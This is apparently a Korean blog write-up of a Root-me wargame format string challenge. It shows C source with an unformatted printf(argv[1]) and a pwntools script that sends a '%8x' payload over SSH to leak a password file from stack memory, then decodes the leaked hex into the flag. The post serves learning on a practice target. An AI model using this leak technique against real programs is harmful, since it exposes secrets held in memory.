이번 문제는 포멧스트링 문제이다.
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[]){
FILE *secret = fopen("/challenge/app-systeme/ch5/.passwd", "rt");
char buffer[32];
fgets(buffer, sizeof(buffer), secret);
printf(argv[1]);
fclose(secret);
return 0;
}
이번 문제의 소스 코드이다. fopen 함수가 위 경로의 .passwd 파일은 텍스트로 읽어오고 fgets로 buffer에 입력을 받는다.
그리고 printf 에서 형식 지정자를 쓰지않아 포멧 스트링 취약점이 일어난다.
from pwn import *
user = 'app-systeme-ch5'
host = 'challenge02.root-me.org'
port = 2222
password = 'app-systeme-ch5'
payload = 'A'*4
payload += '%8x'*30
s = ssh(user, host, port, password)
p = s.process(['./ch5', payload])
p.interactive()
위 코드를 실행시켜보면 buffer, 20은 buffer의 길이 0x804b160은 시크릿 변수의 주소인거 같다.
빨간색 부분을 보면 시크릿이 한번더 출력되고 뒤에 어떠한 값들이 나오는데 이 문제의 flag값인거 같다.
0x6f000a64에서 0a는 '\n'이므로 64까지만 hex -> ascii로 복구해보겠다.
'Wargame > Root-me' 카테고리의 다른 글
ELF x64 - Stack buffer overflow - PIE (0) | 2021.03.28 |
---|---|
ELF x86 - Stack buffer overflow basic 3 (0) | 2021.03.28 |
ELF x64 - Stack buffer overflow - basic (0) | 2021.03.28 |
ELF x86 - Stack buffer overflow basic 2 (0) | 2021.03.27 |
ELF x86 - Stack buffer overflow basic 1 (0) | 2021.03.27 |
댓글